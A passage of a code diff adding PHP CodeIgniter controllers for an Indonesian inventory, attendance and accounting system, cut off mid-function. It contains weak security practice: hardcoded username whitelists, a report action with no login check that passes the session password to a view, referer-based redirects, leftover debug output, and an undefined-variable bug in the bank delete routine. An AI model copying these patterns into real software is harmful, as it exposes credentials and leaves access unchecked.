$datDka = $this->Amod->getData_DaftarKatalog_byMERK_status1_groupBARANG($id_merk);
$no = 0;
foreach ($datDka as $key) {
$detail = $this->Amod->getData_DaftarKatalog_byBARANG_status1($key['BARANG_ID']);
$datDka[$no++] += ['DETAIL' => $detail];
}
if ($username=="sugeng" OR $username=="admin" OR $username=="iwan" OR $username=="risti" OR $username=="angga" OR $username=="nurul" OR $username=="olla") {
} else {
$datDka = NULL;
}
$datPak = $this->Amod->getData_PeriodeAkuntansi_status0();
$awalPak = $datPak[0]['AWAL_PAK'];
if (strtotime($awalPak)<strtotime($tgl_limit)) {
$kunciTombol = 0;
} else {
$kunciTombol = 1;
}
$datMerk = $this->Amod->getData_KlaimProgram_groupMERK();
$data = array(
'sidebar' => "dashboard",
'navChild' => "",
'kunciTombol' => $kunciTombol,
'merk' => $datMerk,
'id_merk' => $id_merk,
'tgl_now' => $tgl_now,
'tgl' => $tgl,
'time_now' => $time_now,
'time_limit' => $time_limit,
'id' => $id,
'hak' => $hak,
'id_karyawan' => $id_karyawan,
'jabatan' => $jabatan,
'dka' => $datDka,
'absensi' => $datAbsensi,
);
$this->load->view('menu/Dashboard', $data);
}
}
@@ -0,0 +1,306 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageAbsensi extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('JabatanModel', 'JabatanM');
$this->load->model('AbsensiModel', 'AbsensiM');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index()
{
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
//$namakaryawan = $this->input->
// $bulan_akhir = $this->input->post('bulan_akhir');
// $tahun = $this->input->post('tahun_akhir');
if ($username == null) {
redirect("Login");
} elseif ($jabatan != "ADMIN") {
redirect("Login");
}
$kondisi = $this->input->post('kondisi');
//var_dump($kondisi);
if ($kondisi==null){
$tgl_skg = date('d');
$bln_skg = date('m');
$thn_skg = date('Y');
if ($tgl_skg <= "25" && $bln_skg == "01") {
$bln_awal = "12";
$thn_awal = $thn_skg-1;
$bln_akhir = $bln_skg;
$thn_akhir = $thn_skg;
} elseif ($tgl_skg >= "26" && $bln_skg == "12") {
$bln_awal = $bln_skg;
$thn_awal = $thn_skg;
$bln_akhir = "01";
$thn_akhir = $thn_skg+1;
} elseif ($tgl_skg <= "25" && $bln_skg > "01" && $bln_skg <= "12") {
$bln_awal = $bln_skg-1;
$thn_awal = $thn_skg;
$bln_akhir = $bln_skg;
$thn_akhir = $thn_skg;
} elseif ($tgl_skg >= "26" && $bln_skg >= "01" && $bln_skg < "12") {
$bln_awal = $bln_skg;
$thn_awal = $thn_skg;
$bln_akhir = $bln_skg+1;
$thn_akhir = $thn_skg;
}
$bulan_awal = $bln_awal;
$tahun_awal = $thn_awal;
$bulan_akhir = $bln_akhir;
$tahun_akhir = $thn_akhir;
}elseif ($kondisi!=null) {
$bulan_awal = $this->input->post('bulan_awal');
$tahun_awal = $this->input->post('tahun_awal');
$bulan_akhir = $this->input->post('bulan_akhir');
$tahun_akhir = $this->input->post('tahun_akhir');
}
// var_dump($tgl_skg);
// var_dump($bln_skg);
// var_dump($thn_skg);
// var_dump($bln_awal);
// var_dump($thn_awal);
// var_dump($bln_akhir);
// var_dump($thn_akhir);
// if ($tahun_akhir == null) {
// $tahun_akhir = date("Y");
// }
// $bln_akhir = "";
// $bln_awal = "";
// var_dump($tahun);
$absensi = $this->AbsensiM->getCetak($bulan_awal, $tahun_awal, $bulan_akhir, $tahun_akhir);
$data = [
'sidebar' => "data master",
'navChild' => "data level",
'absensi' => $absensi,
];
$this->load->view('absensi/table-absensi', $data);
}
public function cetakabsensi()
{
$bulan_awal = $this->input->post('bulan_awal');
$tahun_awal = $this->input->post('tahun_awal');
$bulan_akhir = $this->input->post('bulan_akhir');
$tahun_akhir = $this->input->post('tahun_akhir');
if ($tahun_akhir == null) {
$tahun_akhir = date("Y");
}
$bln_akhir = "";
$bln_awal = "";
//bulan awal
if ($bulan_awal == "01" ) {
$bln_awal = "Januari";
} elseif ($bulan_awal == "02") {
$bln_awal = "Februari";
} elseif ($bulan_awal == "03") {
$bln_awal = "Maret";
} elseif ($bulan_awal == "04") {
$bln_awal = "April";
} elseif ($bulan_awal == "05") {
$bln_awal = "Mei";
} elseif ($bulan_awal == "06") {
$bln_awal = "Juni";
} elseif ($bulan_awal == "07") {
$bln_awal = "Juli";
} elseif ($bulan_awal == "08") {
$bln_awal = "Agustus";
} elseif ($bulan_awal == "09") {
$bln_awal = "September";
} elseif ($bulan_awal == "10") {
$bln_awal = "Oktober";
} elseif ($bulan_awal == "11") {
$bln_awal = "November";
} elseif ($bulan_awal == "12") {
$bln_awal = "Desember";
}
//bulan akhir
if ($bulan_akhir == "01") {
$bln_akhir = "Januari";
} elseif ($bulan_akhir == "02") {
$bln_akhir = "Februari";
} elseif ($bulan_akhir == "03") {
$bln_akhir = "Maret";
} elseif ($bulan_akhir == "04") {
$bln_akhir = "April";
} elseif ($bulan_akhir == "05") {
$bln_akhir = "Mei";
} elseif ($bulan_akhir == "06") {
$bln_akhir = "Juni";
} elseif ($bulan_akhir == "07") {
$bln_akhir = "Juli";
} elseif ($bulan_akhir == "08") {
$bln_akhir = "Agustus";
} elseif ($bulan_akhir == "09") {
$bln_akhir = "September";
} elseif ($bulan_akhir == "10") {
$bln_akhir = "Oktober";
} elseif ($bulan_akhir == "11") {
$bln_akhir = "November";
} elseif ($bulan_akhir == "12") {
$bln_akhir = "Desember";
}
// var_dump($tahun);
$abs = $this->AbsensiM->getDetailAbsensi($bulan_awal, $tahun_awal, $bulan_akhir, $tahun_akhir);
$data = [
'abs' => $abs,
'bln_awal' => $bln_awal,
'tahun_awal' => $tahun_awal,
'bln_akhir' => $bln_akhir,
'tahun_akhir' => $tahun_akhir,
'pass' => $this->session->userdata('password')
];
$this->load->view('absensi/excel', $data);
}
// public function viewTelat()
// {
// $kondisi = $this->input->post('kondisi');
// //var_dump($kondisi);
// if ($kondisi==null){
// $tgl_skg = date('d');
// $bln_skg = date('m');
// $thn_skg = date('Y');
// if ($tgl_skg <= "25" && $bln_skg == "01") {
// $bln_awal = "12";
// $thn_awal = $thn_skg-1;
// $bln_akhir = $bln_skg;
// $thn_akhir = $thn_skg;
// } elseif ($tgl_skg >= "26" && $bln_skg == "12") {
// $bln_awal = $bln_skg;
// $thn_awal = $thn_skg;
// $bln_akhir = "01";
// $thn_akhir = $thn_skg+1;
// } elseif ($tgl_skg <= "25" && $bln_skg > "01" && $bln_skg <= "12") {
// $bln_awal = $bln_skg-1;
// $thn_awal = $thn_skg;
// $bln_akhir = $bln_skg;
// $thn_akhir = $thn_skg;
// } elseif ($tgl_skg >= "26" && $bln_skg >= "01" && $bln_skg < "12") {
// $bln_awal = $bln_skg;
// $thn_awal = $thn_skg;
// $bln_akhir = $bln_skg+1;
// $thn_akhir = $thn_skg;
// }
// $bulan_awal = $bln_awal;
// $tahun_awal = $thn_awal;
// $bulan_akhir = $bln_akhir;
// $tahun_akhir = $thn_akhir;
// }elseif ($kondisi!=null) {
// $bulan_awal = $this->input->post('bulan_awal');
// $tahun_awal = $this->input->post('tahun_awal');
// $bulan_akhir = $this->input->post('bulan_akhir');
// $tahun_akhir = $this->input->post('tahun_akhir');
// }
// // var_dump($tgl_skg);
// // var_dump($bln_skg);
// // var_dump($thn_skg);
// // var_dump($bln_awal);
// // var_dump($thn_awal);
// // var_dump($bln_akhir);
// // var_dump($thn_akhir);
// // if ($tahun_akhir == null) {
// // $tahun_akhir = date("Y");
// // }
// // $bln_akhir = "";
// // $bln_awal = "";
// // var_dump($tahun);
// $absensi = $this->AbsensiM->getCetak($bulan_awal, $tahun_awal, $bulan_akhir, $tahun_akhir);
// $data = [
// 'sidebar' => "data master",
// 'navChild' => "data level",
// 'absensi' => $absensi,
// ];
// $this->load->view('absensi/tabel-telat', $data);
// }
public function getTelat()
{
$id = $this->session->userdata('id_karyawan');
$total = $this->AbsensiM->total_telat($id);
var_dump($total);
//$this->output_json(['totalSO' => $total]);
}
// public function cekTelat(){
// $viewtable = [
// 'abs'
// ''
// ]
// }
// public function save()
// {
// $method = $this->input->post('method');
// $id_jabatan = $this->input->post('id');
// $nama = $this->input->post('nama');
// $this->form_validation->set_rules('nama', 'Nama', 'required');
// if ($this->form_validation->run() == FALSE) {
// $data = [
// 'status' => false,
// 'errors' => [
// 'nama' => form_error('nama')
// ]
// ];
// $this->output_json($data);
// } else {
// $input = [
// 'NAMA_LEVEL' => $nama
// ];
// if ($method === 'add') {
// $action = $this->JabatanM->create('tb_level', $input);
// } else if ($method === 'edit') {
// $action = $this->JabatanM->update('tb_level', $input, 'ID_LEVEL', $id_level);
// }
// if ($action) {
// if ($method === 'add') {
// $this->output_json(['status' => true]);
// } else if ($method === 'edit') {
// redirect('ManageJabatan');
// }
// } else {
// $this->output_json(['status' => false]);
// }
// }
// }
// public function hapus()
// {
// $id = $this->input->post('id');
// if ($this->JabatanM->delete('jabatan', $id, 'ID_jabatan')) {
// redirect('ManageJabatan');
// }
// }
// public function add(){
// $username = $this->session->userdata('username');
// if ($username == null){
// redirect("Action");
// }
// $this->load->view('tambah-user');
// }
}
@@ -0,0 +1,130 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageAkun extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datAkun = $this->Dashboard->getData_Akun();
$no = 0;
foreach ($datAkun as $key) {
$datKontak = $this->Dashboard->getData_Kontak_byAKUN($key['ID_AKUN']);
$datSav = $this->Dashboard->getData_SalesVisit_byAKUN($key['ID_AKUN']);
if ($datKontak==TRUE OR $datSav==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datAkun[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['AKUN_SHM']==0) {
$akses = "Tidak Berhak";
$datAkun = NULL;
} else if ($datShm[0]['AKUN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['AKUN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'akun' => $datAkun,
'hak' => $datShm[0]['AKUN_SHM'],
'akses' => $akses,
];
$this->load->view('master/Akun', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_akun');
$nama_akun = $this->input->post('nama_akun');
$nama_akun = strtoupper($nama_akun);
$input = [
'NAMA_AKUN' => $nama_akun
];
$action = $this->Dashboard->create('akun', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageAkun');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageAkun');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_akun = $this->input->post('id_akuned');
$nama_akun = $this->input->post('nama_akuned');
$nama_akun = strtoupper($nama_akun);
$update = [
'NAMA_AKUN' => $nama_akun
];
$action = $this->Dashboard->update('akun', $update, 'ID_AKUN', $id_akun);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageAkun');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageAkun');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_akundel');
$datKontak = $this->Dashboard->getData_Kontak_byAKUN($id);
$datSav = $this->Dashboard->getData_SalesVisit_byAKUN($id);
if ($datKontak==TRUE OR $datSav==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageAkun');
}
$action = $this->Dashboard->delete('akun', $id, 'ID_AKUN');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageAkun');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageAkun');
}
}
}
@@ -0,0 +1,127 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageBank extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datBank = $this->Dashboard->getData_Bank();
$no = 0;
foreach ($datBank as $key) {
$datSb = $this->Dashboard->getData_SaldoBank_byBANK($key['ID_BANK']);
$datKasbank = $this->Dashboard->getData_Kasbank_byBANK($key['ID_BANK']);
if ($datSb==TRUE OR $datKasbank==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datBank[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['BANK_SHM']==0) {
$akses = "Tidak Berhak";
$datBank = NULL;
} else if ($datShm[0]['BANK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['BANK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'bank' => $datBank,
'hak' => $datShm[0]['BANK_SHM'],
'akses' => $akses,
];
$this->load->view('master/Bank', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_bank = $this->input->post('id');
$kode_bank = $this->input->post('kode_bank');
$nama_bank = $this->input->post('nama_bank');
$kode_bank = strtoupper($kode_bank);
$nama_bank = strtoupper($nama_bank);
$input = [
'NAMA_BANK' => $nama_bank,
'KODE_BANK' => $kode_bank
];
$action = $this->Dashboard->create('bank', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageBank');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageBank');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_bank = $this->input->post('id_banked');
$kode_bank = $this->input->post('kode_banked');
$nama_bank = $this->input->post('nama_banked');
$kode_bank = strtoupper($kode_bank);
$nama_bank = strtoupper($nama_bank);
$update = [
'NAMA_BANK' => $nama_bank,
'KODE_BANK' => $kode_bank
];
$action = $this->Dashboard->update('bank', $update, 'ID_BANK', $id_bank);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageBank');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageBank');
}
}
public function hapus() {
$id = $this->input->post('id_bankdel');
$datSb = $this->Dashboard->getData_SaldoBank_byBANK($id);
$datKasbank = $this->Dashboard->getData_Kasbank_byBANK($id);
if ($datSaldoBank==TRUE OR $datKasbank==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageBank');
}
$action = $this ->Dashboard->delete('bank', $id, 'ID_BANK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageBank');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageBank');
}
}
}
@@ -0,0 +1,328 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageBarang extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$jabatan = $this->session->userdata('jabatan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
if (strpos($jabatan,"GUDANG")!==FALSE OR $jabatan=="ADMINISTRATOR" OR $jabatan=="ADMIN ITP") {
$datJenis = $this->Dashboard->getData_Jenis_0_1_2();
} else {
$datJenis = $this->Dashboard->getData_Jenis_2();
}
$datMerk = $this->Dashboard->getData_Merk();
$datModel = $this->Dashboard->getData_Model();
$datProduk = $this->Dashboard->getData_Produk();
$datBarLatest = $this->Dashboard->getData_Barang_orderDESC_limit10();
$tgl_now = date('d/m/Y');
$datSba = $this->Dashboard->getData_SetBarang_byKARYAWAN($id_karyawan);
if ($datSba==FALSE) {
$id_jenis = 1;
$id_merk = 1;
$id_model = 1;
$id_produk = 1;
$nama_sba = NULL;
} else {
$id_jenis = $datSba[0]['JENIS_ID'];
$id_merk = $datSba[0]['MERK_ID'];
$id_model = $datSba[0]['MODEL_ID'];
$id_produk = $datSba[0]['PRODUK_ID'];
$nama_sba = $datSba[0]['NAMA_SBA'];
}
$datBarang = $this->Dashboard->getData_Barang_byKODE_byJENIS_byMERK_byMODEL_byPRODUK($nama_sba, $id_jenis, $id_merk, $id_model, $id_produk);
$no = 0;
foreach ($datBarang as $key) {
$datDb = $this->Dashboard->getData_DaftarBeli_byBARANG($key['ID_BARANG']);
$datDo = $this->Dashboard->getData_DaftarOrder_byBARANG($key['ID_BARANG']);
$datSnStock = $this->Dashboard->getData_SnStock_byBARANG($key['ID_BARANG']);
$datIo = $this->Dashboard->getData_TransaksiStock_byBARANG($key['ID_BARANG']);
if ($datDb==TRUE OR $datDo==TRUE OR $datSnStock==TRUE OR $datIo==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datBarang[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['BARANG_SHM']==0) {
$akses = "Tidak Berhak";
$datBarang = NULL;
$datBarLatest = NULL;
} else if ($datShm[0]['BARANG_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['BARANG_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'barang' => $datBarang,
'bar_latest' => $datBarLatest,
'jenis' => $datJenis,
'merk' => $datMerk,
'model' => $datModel,
'produk' => $datProduk,
'id_jenis' => $id_jenis,
'id_merk' => $id_merk,
'id_model' => $id_model,
'nama_sba' => $nama_sba,
'tgl_now' => $tgl_now,
'hak' => $datShm[0]['BARANG_SHM'],
'akses' => $akses,
];
$this->load->view('master/Barang', $data);
}
public function simpanset_AA1() {
$method = $this->input->post('method');
$id_jenis = $this->input->post('id_jenis');
$id_merk = $this->input->post('id_merk');
$id_model = $this->input->post('id_model');
$id_produk = $this->input->post('id_produk');
$nama_sba = $this->input->post('nama_sba');
$id_karyawan = $this->session->userdata('id_karyawan');
$tgl = date('Y-m-d H:i:s');
$nama_sba = strtoupper($nama_sba);
$datSba = $this->Dashboard->getData_SetBarang_byKARYAWAN($id_karyawan);
if ($datSba==FALSE) {
$input = [
'JENIS_ID' => $id_jenis,
'MERK_ID' => $id_merk,
'MODEL_ID' => $id_model,
'PRODUK_ID' => $id_produk,
'NAMA_SBA' => $nama_sba,
'KARYAWAN_ID' => $id_karyawan,
'LAST_SBA' => $tgl,
];
$action = $this->Dashboard->create('set_barang', $input);
$set = 1;
} else {
$update = [
'JENIS_ID' => $id_jenis,
'MERK_ID' => $id_merk,
'MODEL_ID' => $id_model,
'PRODUK_ID' => $id_produk,
'NAMA_SBA' => $nama_sba,
'LAST_SBA' => $tgl,
];
$action = $this->Dashboard->update('set_barang', $update, 'ID_SBA', $datSba[0]['ID_SBA']);
$set = 2;
}
if ($set==1) {
$this->session->set_flashdata('filter_success', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
} else if ($set==2) {
$this->session->set_flashdata('filter_success', 'diperbaruhi');
redirect($_SERVER['HTTP_REFERER']);
} else {
$this->session->set_flashdata('filter_failed', 'ditambah');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function simpan() {
$method = $this->input->post('method');
$id_barang = $this->input->post('id');
$id_jenis = $this->input->post('id_jenis');
$id_merk = $this->input->post('id_merk');
$id_model = $this->input->post('id_model');
$id_produk = $this->input->post('id_produk');
$kode_barang = $this->input->post('kode_barang');
$nama_barang = $this->input->post('nama_barang');
$tgl = date('m/d/Y');
$datBarangKode = $this->Dashboard->getData_Barang_byKODE($kode_barang);
$datBarangNama = $this->Dashboard->getData_Barang_byNAMA($nama_barang);
if ($datBarangKode==TRUE OR $datBarangNama==TRUE) {
$this->session->set_flashdata('data_copy', 'error');
redirect('ManageBarang');
}
if ($id_model == "") {
$id_model = NULL;
}
if ($id_produk == "") {
$id_produk = NULL;
}
$kode_barang = preg_replace('/"/', 'INCH', $kode_barang);
$nama_barang = preg_replace('/"/', 'INCH', $nama_barang);
$input = [
'JENIS_ID' => $id_jenis,
'MERK_ID' => $id_merk,
'MODEL_ID' => $id_model,
'PRODUK_ID' => $id_produk,
'NAMA_BARANG' => $nama_barang,
'KODE_BARANG' => $kode_barang,
'STATUS_BARANG' => '1'
];
$action = $this->Dashboard->create('barang', $input);
$id_barang = $this->Dashboard->getID_BarangMax();
$id_barang = $id_barang[0]['ID_BARANG'];
$input = [
'ID_KUANTITI' => $id_barang,
'GLOBAL_KUANTITI' => '0',
'ANTIK_KUANTITI' => '0',
'PROYEK_KUANTITI' => '0',
'PROSES_KUANTITI' => '0',
'PCM_KUANTITI' => '0',
'ITP_KUANTITI' => '0',
'PEMINJAMAN_KUANTITI' => '0',
'PENDING_KUANTITI' => '0',
'KONSINYASI_KUANTITI' => '0',
'MUTASI_KUANTITI' => '0',
'SERVICE_KUANTITI' => '0',
'HARGA_AVG' => '0.00'
];
$action = $this->Dashboard->create('kuantiti', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageBarang');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageBarang');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_barang = $this->input->post('id_baranged');
$id_jenis = $this->input->post('id_jenised');
$id_merk = $this->input->post('id_merked');
$id_model = $this->input->post('id_modeled');
$id_produk = $this->input->post('id_produked');
$kode_barang = $this->input->post('kode_baranged');
$nama_barang = $this->input->post('nama_baranged');
$datBarangKode = $this->Dashboard->getData_Barang_byKODE($kode_barang, $id_barang);
$datBarangNama = $this->Dashboard->getData_Barang_byNAMA($nama_barang, $id_barang);
if ($datBarangKode==TRUE OR $datBarangNama==TRUE) {
$this->session->set_flashdata('data_copy', 'error');
redirect('ManageBarang');
}
$datBarang = $this->Dashboard->getData_Barang($id_barang);
$datJenis = $this->Dashboard->getData_Jenis_byID($id_jenis);
if ($datBarang[0]['TYPE_JENIS']!=$datJenis[0]['TYPE_JENIS']) {
$this->session->set_flashdata('type_error', 'error');
redirect('ManageBarang');
}
if ($id_model == "") {
$id_model = NULL;
}
if ($id_produk == "") {
$id_produk = NULL;
}
$kode_barang = preg_replace('/"/', 'INCH', $kode_barang);
$nama_barang = preg_replace('/"/', 'INCH', $nama_barang);
$update = [
'NAMA_BARANG' => $nama_barang,
'KODE_BARANG' => $kode_barang,
'JENIS_ID' => $id_jenis,
'MERK_ID' => $id_merk,
'MODEL_ID' => $id_model,
'PRODUK_ID' => $id_produk
];
$action = $this->Dashboard->update('barang', $update, 'ID_BARANG', $id_barang);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageBarang');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageBarang');
}
}
public function hapus() {
$id_barang = $this->input->post('id_barangdel');
$datDb = $this->Dashboard->getData_DaftarBeli_byBARANG($id_barang);
$datDo = $this->Dashboard->getData_DaftarOrder_byBARANG($id_barang);
$datIo = $this->Dashboard->getData_TransaksiStock_byBARANG($id_barang);
$datSnStock = $this->Dashboard->getData_SnStock_byBARANG($id_barang);
if ($datDb == TRUE OR $datDo == TRUE OR $datIo == TRUE OR $datSnStock == TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageBarang');
}
$action = $this->Dashboard->delete('kuantiti', $id_barang, 'ID_KUANTITI');
$action = $this->Dashboard->delete('barang', $id_barang, 'ID_BARANG');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageBarang');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageBarang');
}
}
public function simpan_excel_barang() {
$id_karyawan = $this->session->userdata('id_karyawan');
$pilih_tabel = array('No', 'Jenis', 'Merk', 'Model', 'Kode Barang', 'Nama Barang');
$tgl = date('d/m/Y');
$datSba = $this->Dashboard->getData_SetBarang_byKARYAWAN($id_karyawan);
if ($datSba==FALSE) {
$id_jenis = 1;
$id_merk = 1;
$id_model = 1;
$nama_sba = NULL;
} else {
$id_jenis = $datSba[0]['JENIS_ID'];
$id_merk = $datSba[0]['MERK_ID'];
$id_model = $datSba[0]['MODEL_ID'];
$nama_sba = $datSba[0]['NAMA_SBA'];
}
$dataLaporan = $this->Dashboard->getData_Barang_byKODE_byJENIS_byMERK_byMODEL($nama_sba, $id_jenis, $id_merk, $id_model);
$data = [
'title' => '',
'jumlah_kolom' => count($pilih_tabel),
'nama_tabel' => $pilih_tabel,
'laporan' => $dataLaporan,
'tgl' => $tgl,
];
$this->load->view('cetak/excel_barang', $data);
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,57 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageCorp extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datCorp = $this->Dashboard->getData_Corp();
$no = 0;
foreach ($datCorp as $key) {
$datSo = $this->Dashboard->getData_SalesOrder_byCORP($key['ID_CORP']);
$datDpp = $this->Dashboard->getData_DpPajak_byCORP($key['ID_CORP']);
$datRpj = $this->Dashboard->getData_RekapPajak_byCORP($key['ID_CORP']);
if ($datSo==TRUE OR $datDpp==TRUE OR $datRpj==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datCorp[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['CORP_SHM']==0) {
$akses = "Tidak Berhak";
$datCorp = NULL;
} else if ($datShm[0]['CORP_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['CORP_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'corp' => $datCorp,
'hak' => $datShm[0]['CORP_SHM'],
'akses' => $akses,
];
$this->load->view('master/Corp', $data);
}
}
@@ -0,0 +1,144 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageCustomer extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datCustomer = $this->Dashboard->getData_Customer();
$no = 0;
foreach ($datCustomer as $key) {
$datRekapPajak = $this->Dashboard->getData_RekapPajak_byCUSTOMER($key['ID_CUSTOMER']);
if ($datRekapPajak==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datCustomer[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['CUSTOMER_SHM']==0) {
$akses = "Tidak Berhak";
$datCustomer = NULL;
} else if ($datShm[0]['CUSTOMER_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['CUSTOMER_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'customer' => $datCustomer,
'hak' => $datShm[0]['CUSTOMER_SHM'],
'akses' => $akses,
];
$this->load->view('master/Customer', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_customer = $this->input->post('id');
$nama_customer = $this->input->post('nama_customer');
$npwp_customer = $this->input->post('npwp_customer');
$alamat_customer = $this->input->post('alamat_customer');
$nama_customer = strtoupper($nama_customer);
$alamat_customer = strtoupper($alamat_customer);
$alamat_customer = preg_replace('/\R+/', " " , $alamat_customer);
$datCustomer = $this->Dashboard->getData_Customer_byALAMAT($alamat_customer);
if ($datCustomer==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageCustomer');
}
$input = [
'NAMA_CUSTOMER' => $nama_customer,
'NPWP_CUSTOMER' => $npwp_customer,
'ALAMAT_CUSTOMER' => $alamat_customer
];
$action = $this->Dashboard->create('customer', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageCustomer');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageCustomer');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_customer = $this->input->post('id_customered');
$nama_customer = $this->input->post('nama_customered');
$npwp_customer = $this->input->post('npwp_customered');
$alamat_customer = $this->input->post('alamat_customered');
$nama_customer = strtoupper($nama_customer);
$alamat_customer = strtoupper($alamat_customer);
$alamat_customer = preg_replace('/\R+/', " " , $alamat_customer);
$datCustomer = $this->Dashboard->getData_Customer_byALAMAT($alamat_customer, $id_customer);
if ($datCustomer==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageCustomer');
}
$update = [
